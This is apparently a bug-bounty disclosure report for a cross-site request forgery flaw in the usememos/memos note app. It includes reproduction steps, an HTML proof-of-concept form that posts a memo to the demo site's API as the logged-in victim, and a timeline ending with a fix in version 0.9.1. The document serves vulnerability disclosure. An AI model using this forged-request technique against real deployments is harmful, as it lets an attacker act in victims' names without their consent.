CSRF allows attacker to post on behalf of victim in usememos/memos

Valid

Reported on

Dec 23rd 2022


Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user.

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers content has been posted by the victim

POC video: https://drive.google.com/file/d/1fYjhqTC53GzgREP2vxjv0WYP6d0PGEls/view?usp=sharing

CSRF POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/memo" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;content&quot;&#58;&quot;Hacked&#32;by&#32;alchemist&quot;&#44;&quot;visibility&quot;&#58;&quot;PRIVATE&quot;&#44;&quot;resourceIdList&quot;&#58;&#91;&#93;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



# Impact

A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information
We are processing your report and will contact the usememos/memos team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists a year ago
We have contacted a member of the usememos/memos team and are waiting to hear back a year ago
Nehal Pillai
a year ago

Researcher


@maintainer Any updates on this?

STEVEN validated this vulnerability a year ago
nehalr777 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
STEVEN marked this as fixed in 0.9.1 with commit c9bb2b a year ago
STEVEN has been awarded the fix bounty
This vulnerability has now been published a year ago
DailyMemo.tsx#L1-L31 has been validated
to join this conversation